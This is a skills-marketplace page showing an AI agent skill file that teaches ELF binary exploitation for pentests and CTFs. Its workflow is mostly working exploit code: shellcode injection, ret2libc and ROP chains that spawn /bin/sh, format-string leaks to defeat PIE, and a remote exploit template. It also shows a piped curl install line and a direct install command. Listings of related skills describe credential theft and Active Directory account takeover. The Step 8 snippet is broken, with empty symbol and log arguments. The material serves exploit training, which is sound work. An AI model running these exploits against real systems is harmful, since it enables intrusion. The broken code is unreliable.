performing-binary-exploitation-analysis

Analyze ELF binaries for memory-corruption vulnerabilities and build proof-of-concept exploits using pwntools, checksec, and ROPgadget for buffer overflows and ROP chains. Use when a penetration test or CTF challenge requires evaluating compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) or developing a working exploit to demonstrate impact.

Ir para a instalação

Repositório: mukul975/Anthropic-Cybersecurity-Skills
Última atividade na origem: 2 de agosto de 2026 às 16:32
Idioma detectado do SKILL.md: inglês
Estrelas: 27.732
Forks: 3.366

Opções de instalação

Por padrão, está selecionado o prompt que primeiro revisa a origem. Você pode mudar para um comando direto ou baixar uma cópia local.

Instalar com Codex ou Claude Copie este prompt, cole no Codex, Claude ou outro assistente e deixe que ele revise a página da skill e instale para você.

Um comando direto ignora o prompt de revisão. Verifique a origem antes de executá-lo.

npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills --skill performing-binary-exploitation-analysis

O comando permanece em uma só linha. Role horizontalmente para revisá-lo antes de copiar.

Prefere uma cópia local? Baixe os arquivos disponíveis atualmente no SkillsMP.

Revise os arquivos de origem

Leia o SKILL.md e os arquivos complementares exibidos pelo SkillsMP antes de decidir se vai instalar.

Explorador de arquivos

4 arquivos

SKILL.md

Instruções da origem · Visualização somente leitura

Voltar à pesquisa Voltar à instalação

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.

2026-08-02

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.

2026-08-02

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

2026-08-02

Ver todas deste repositório

Performing Binary Exploitation Analysis

For authorized security testing and CTF challenges only.

Analyze ELF binaries for exploitation vectors using checksec, ROPgadget, and pwntools for buffer overflow and ROP chain development.

When to Use

Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities
Solving binary exploitation challenges in CTF competitions
Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries
Developing proof-of-concept exploits for vulnerability reports to demonstrate impact
Training security engineers in exploit development techniques for defensive awareness
Validating that security patches for buffer overflow vulnerabilities are effective

Do not use against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).

Prerequisites

Linux system (Ubuntu/Debian recommended) for exploit development
Python 3.8+ with pwntools (pip install pwntools)
GDB with pwndbg or GEF plugin for enhanced debugging
ROPgadget for ROP chain gadget discovery (pip install ROPgadget)
checksec (included with pwntools or standalone via apt install checksec)
Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)
Basic understanding of x86/x86_64 calling conventions and stack layout

Workflow

Step 1: Install the Exploitation Toolkit

# Install pwntools and dependencies
pip install pwntools ROPgadget

# Install GDB with pwndbg plugin
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh

# Alternatively, install GEF (GDB Enhanced Features)
# bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

# Install supporting tools
sudo apt install -y gdb nasm gcc-multilib libc6-dbg

# Verify installation
python3 -c "from pwn import *; print('pwntools version:', version)"
checksec --version
ROPgadget --version

Step 2: Analyze Binary Protections with checksec

Before writing any exploit, enumerate the security mitigations compiled into the binary:

from pwn import *

# Load the target binary
binary_path = "./vulnerable_server"
elf = ELF(binary_path)

# checksec output explains what mitigations are in place
print(f"Architecture: {elf.arch}")
print(f"Bits: {elf.bits}")
print(f"Endianness: {elf.endian}")
print()

# Key security properties
# RELRO: Full = GOT is read-only, Partial = GOT header read-only, No = writable GOT
# Stack Canary: Detects stack buffer overflows via random canary value
# NX (No-eXecute): Prevents executing code on the stack (DEP)
# PIE: Position Independent Executable, randomizes base address
# ASLR: OS-level address randomization (check /proc/sys/kernel/randomize_va_space)

# Also available via command line:
# checksec --file=./vulnerable_server

# Command-line checksec output example:
checksec --file=./vulnerable_server
# RELRO           STACK CANARY      NX            PIE
# Partial RELRO   No canary found   NX disabled   No PIE

# Check ASLR status on the system
cat /proc/sys/kernel/randomize_va_space
# 0 = disabled, 1 = conservative, 2 = full randomization

Step 3: Find the Buffer Overflow Offset

Determine exactly how many bytes are needed to overwrite the return address:

from pwn import *

context.binary = ELF("./vulnerable_server")
context.log_level = "info"

# Method 1: Use cyclic pattern to find exact offset
# Generate a unique cyclic pattern
pattern_length = 200
pattern = cyclic(pattern_length)
print(f"Generated cyclic pattern of length {pattern_length}")

# Send the pattern to the binary
p = process("./vulnerable_server")
p.sendline(pattern)
p.wait()

# After the crash, read the value in RIP/EIP from core dump or GDB
# Then find the offset:
# For 64-bit: crashed_value = p.corefile.fault_addr
# Or manually from GDB: "info registers rip" after crash
crashed_rip = 0x6161616c  # Example value from crash
offset = cyclic_find(crashed_rip)
print(f"Offset to return address: {offset} bytes")

# Method 2: Use GDB with pwndbg to find offset interactively
# In GDB:
#   pwndbg> cyclic 200
#   pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(200).decode())")
#   pwndbg> cyclic -l $rsp   (or cyclic -l <value in RIP>)

Step 4: Exploit a Stack Buffer Overflow (NX Disabled)

When NX is disabled, inject and execute shellcode directly on the stack:

from pwn import *

# Configuration
binary_path = "./vulnerable_server"
context.binary = ELF(binary_path)
context.arch = "amd64"  # or "i386" for 32-bit

OFFSET = 72  # Determined in Step 3

# Generate shellcode
# execve("/bin/sh", NULL, NULL) - spawn a shell
shellcode = asm(shellcraft.sh())
print(f"Shellcode length: {len(shellcode)} bytes")

# Build the exploit payload
# Layout: [NOP sled] [shellcode] [padding] [return address -> NOP sled]
nop_sled = asm("nop") * 32

# For a local exploit without ASLR, we can estimate the buffer address
# Run in GDB first to find the buffer address:
#   break *main+XX  (after read/gets call)
#   x/20x $rsp
buffer_addr = 0x7fffffffe000  # Example - get from GDB

padding_len = OFFSET - len(nop_sled) - len(shellcode)
payload = nop_sled + shellcode + b"A" * padding_len + p64(buffer_addr)

# Launch exploit
p = process(binary_path)
p.sendline(payload)
p.interactive()  # Interact with the spawned shell

Step 5: Build a ROP Chain (NX Enabled)

When NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):

# Find ROP gadgets in the binary
ROPgadget --binary ./vulnerable_server

# Find specific gadgets
ROPgadget --binary ./vulnerable_server --only "pop|ret"
ROPgadget --binary ./vulnerable_server --only "mov|ret"

# Search for gadgets to control registers for syscall
ROPgadget --binary ./vulnerable_server | grep "pop rdi"
ROPgadget --binary ./vulnerable_server | grep "pop rsi"
ROPgadget --binary ./vulnerable_server | grep "pop rdx"
ROPgadget --binary ./vulnerable_server | grep "syscall"

# Find gadgets in libc (for ret2libc attacks)
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20

from pwn import *

binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf

OFFSET = 72

# Method 1: ret2libc - call system("/bin/sh") via libc
# When the binary is dynamically linked and we know libc version
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# Start process to leak libc address
p = process(binary_path)

# If there is a format string or info leak, use it to find libc base
# Example: binary prints puts@GOT address
p.recvuntil(b"puts address: ")
puts_leak = int(p.recvline().strip(), 16)
libc.address = puts_leak - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")

# Find a "pop rdi; ret" gadget for x86_64 calling convention
# First argument goes in RDI register
pop_rdi = elf.search(asm("pop rdi; ret")).__next__()
ret_gadget = elf.search(asm("ret")).__next__()  # Stack alignment

# Build the ROP chain: system("/bin/sh")
bin_sh_addr = next(libc.search(b"/bin/sh\x00"))
system_addr = libc.symbols["system"]

rop_chain = flat(
    b"A" * OFFSET,          # Padding to reach return address
    ret_gadget,              # Stack alignment (needed for movaps in system)
    pop_rdi,                 # pop rdi; ret - load /bin/sh address into RDI
    bin_sh_addr,             # Address of "/bin/sh" string in libc
    system_addr,             # Call system()
)

p.sendline(rop_chain)
p.interactive()

Step 6: Use pwntools ROP Helper for Automated Chain Building

from pwn import *

binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf

OFFSET = 72

# pwntools automatic ROP chain builder
rop = ROP(elf)

# If the binary has enough gadgets, pwntools can build chains automatically
# For execve("/bin/sh", 0, 0) syscall:
rop.call("puts", [elf.got["puts"]])  # Leak GOT entry
rop.call(elf.symbols["main"])        # Return to main for second stage

# Print the ROP chain for debugging
print(rop.dump())

# Build first-stage payload (leak libc)
stage1 = flat(
    b"A" * OFFSET,
    rop.chain()
)

p = process(binary_path)
p.sendline(stage1)

# Parse the leaked puts address
p.recvuntil(b"\n")  # Skip program output
leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts@GOT: {hex(leaked_puts)}")

# Calculate libc base
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked_puts - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")

# Build second-stage ROP chain using libc gadgets
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])

stage2 = flat(
    b"A" * OFFSET,
    rop2.chain()
)

p.sendline(stage2)
p.interactive()

Step 7: Debug Exploits with GDB and pwndbg

from pwn import *

binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]  # or ["gnome-terminal", "--"]

# Launch binary under GDB with pwndbg
p = gdb.debug(binary_path, """
    # Set breakpoints at key locations
    break *main
    break *main+85

    # Continue to the vulnerable function
    continue
""")

# GDB commands useful during exploit development:
# pwndbg> vmmap              - Show memory mappings (find stack, heap, libc)
# pwndbg> checksec           - Show binary protections
# pwndbg> search -s "/bin/sh" - Find string in memory
# pwndbg> rop --grep "pop rdi" - Search for gadgets
# pwndbg> cyclic 200         - Generate cyclic pattern
# pwndbg> cyclic -l 0x616161 - Find offset from pattern value
# pwndbg> telescope $rsp 20  - Show stack contents
# pwndbg> x/20gx $rsp        - Examine stack as 64-bit values
# pwndbg> heap               - Analyze heap state
# pwndbg> got                 - Show GOT entries and resolved addresses
# pwndbg> plt                 - Show PLT entries

OFFSET = 72
payload = b"A" * OFFSET + p64(0xdeadbeef)
p.sendline(payload)
p.interactive()

Step 8: Handle PIE and ASLR with Information Leaks

from pwn import *

binary_path = "./vulnerable_pie_binary"
elf = ELF(binary_path)
context.binary = elf

# When PIE is enabled, we need to leak a code address to defeat randomization
# Common leak techniques:
# 1. Format string vulnerability: %p to leak stack/code pointers
# 2. Partial overwrite: overwrite only lower bytes of a pointer
# 3. Uninitialized memory: read stack memory containing code pointers

p = process(binary_path)

# Example: Using a format string leak to defeat PIE
# If the binary has a printf(user_input) vulnerability:
p.sendline(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
leak_output = p.recvline().strip().decode()
leaked_addrs = leak_output.split(".")

# Parse leaked addresses to find a code pointer
for i, addr in enumerate(leaked_addrs):
    try:
        val = int(addr, 16)
        # PIE binaries typically load at 0x55XXXXXXXXXX on 64-bit
        if 0x550000000000 <= val <= 0x560000000000:
            log.info(f"Offset {i}: {addr} (likely PIE code address)")
        # libc addresses typically at 0x7fXXXXXXXXXX
        elif 0x7f0000000000 <= val <= 0x800000000000:
            log.info(f"Offset {i}: {addr} (likely libc address)")
    except ValueError:
        continue

# Once we have a leaked PIE address, calculate the binary base
leaked_code_addr = int(leaked_addrs[5], 16)  
elf.address = leaked_code_addr - elf.symbols[]  
log.success()


rop = ROP(elf)

Step 9: Exploit a Remote Target

from pwn import *

# Configuration
REMOTE_HOST = "target.ctf.example.com"
REMOTE_PORT = 9001
binary_path = "./vulnerable_server"

elf = ELF(binary_path)
context.binary = elf

def exploit(target):
    """Run the full exploit chain against a target (local or remote)."""
    OFFSET = 72

    # Stage 1: Leak libc
    rop1 = ROP(elf)
    rop1.call("puts", [elf.got["puts"]])
    rop1.call(elf.symbols["main"])

    payload1 = flat(b"A" * OFFSET, rop1.chain())
    target.sendlineafter(b"Input: ", payload1)

    leaked = u64(target.recvline().strip().ljust(8, b"\x00"))
    log.success(f"Leaked puts: {hex(leaked)}")

    # Stage 2: ret2libc
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    libc.address = leaked - libc.symbols["puts"]

    rop2 = ROP(libc)
    rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])

    payload2 = flat(b"A" * OFFSET, rop2.chain())
    target.sendlineafter(b"Input: ", payload2)

    target.interactive()

# Test locally first
log.info("Testing exploit locally...")
local = process(binary_path)
exploit(local)

# Then run against remote target
# log.info("Running exploit against remote target...")
# remote = remote(REMOTE_HOST, REMOTE_PORT)
# exploit(remote)

Verification

Confirm checksec correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection
Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the ret instruction and confirming RIP/EIP contains the expected cyclic value
Test shellcode payloads execute correctly in a controlled environment with NX disabled
Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall/function call
Confirm the exploit works both locally (process()) and against a remote target (remote()) when the correct libc version is used
Verify that PIE bypass correctly rebases all addresses by checking GDB vmmap output against calculated addresses
Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)
Run ROPgadget output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary

name	performing-binary-exploitation-analysis
description	Analyze ELF binaries for memory-corruption vulnerabilities and build proof-of-concept exploits using pwntools, checksec, and ROPgadget for buffer overflows and ROP chains. Use when a penetration test or CTF challenge requires evaluating compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) or developing a working exploit to demonstrate impact.
domain	cybersecurity
subdomain	offensive-security
tags	["binary-exploitation","pwntools","rop-chains","buffer-overflow"]
version	1.0
author	mahipal
license	Apache-2.0

name	performing-binary-exploitation-analysis
description	Analyze ELF binaries for memory-corruption vulnerabilities and build proof-of-concept exploits using pwntools, checksec, and ROPgadget for buffer overflows and ROP chains. Use when a penetration test or CTF challenge requires evaluating compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) or developing a working exploit to demonstrate impact.
domain	cybersecurity
subdomain	offensive-security
tags	["binary-exploitation","pwntools","rop-chains","buffer-overflow"]
version	1.0
author	mahipal
license	Apache-2.0

performing-binary-exploitation-analysis

Informações da origem

Opções de instalação

Revise os arquivos de origem

Mais deste repositório

Mais deste repositório

Performing Binary Exploitation Analysis

When to Use

Prerequisites

Workflow

Step 1: Install the Exploitation Toolkit

Step 2: Analyze Binary Protections with checksec

Step 3: Find the Buffer Overflow Offset

Step 4: Exploit a Stack Buffer Overflow (NX Disabled)

Step 5: Build a ROP Chain (NX Enabled)

Step 6: Use pwntools ROP Helper for Automated Chain Building

Step 7: Debug Exploits with GDB and pwndbg

Step 8: Handle PIE and ASLR with Information Leaks

Step 9: Exploit a Remote Target

Verification